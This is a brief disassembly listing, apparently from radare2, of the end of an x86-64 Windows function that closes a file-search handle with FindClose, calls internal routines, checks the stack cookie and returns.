test eax, eax
jne 0x14001f1b9
mov rcx, qword [rbp + 0x48]
call qword [sym.imp.KERNEL32.dll_FindClose]
mov rcx, qword [rbp + 0x68]
call fcn.140016c1c
mov eax, dword [rbp + 4]
mov rdi, rax
lea rcx, [rbp - 0x20]
lea rdx, [0x140045360]
call fcn.1400169a6
mov rax, rdi
mov rcx, qword [rbp + 0x468]
xor rcx, rbp
call fcn.1400165b9
lea rsp, [rbp + 0x478]
pop rdi
pop rbp
ret